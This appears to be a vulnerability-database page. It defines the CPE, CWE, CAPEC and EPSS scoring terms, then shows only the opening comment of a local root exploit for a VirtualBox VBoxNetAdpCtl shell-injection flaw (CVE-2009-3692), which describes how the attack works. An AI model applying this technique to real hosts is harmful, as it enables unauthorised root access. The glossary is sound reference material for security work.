CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/*
CVE-2009-3692 VirtualBox VBoxNetAdpCtl Privilege Escalation
===========================================================
Local exploit for the popen() meta character shell injection
vulnerability that permits a malicious user to obtain root
privileges on the VirtualBox host machine. This exploit relies
on the "/bin/sh" binary on the host as being a non-privilege
dropping shell such as zsh, this is not always the OS default
setting.
Most modern platforms do not have a /bin/sh that retains
privileges by default however Solaris still seems to!
You can provide an arguement to the VBoxNetAdpCtl binary
path or alternatively this exploit detects local host platform
and runs with common or default installation location.
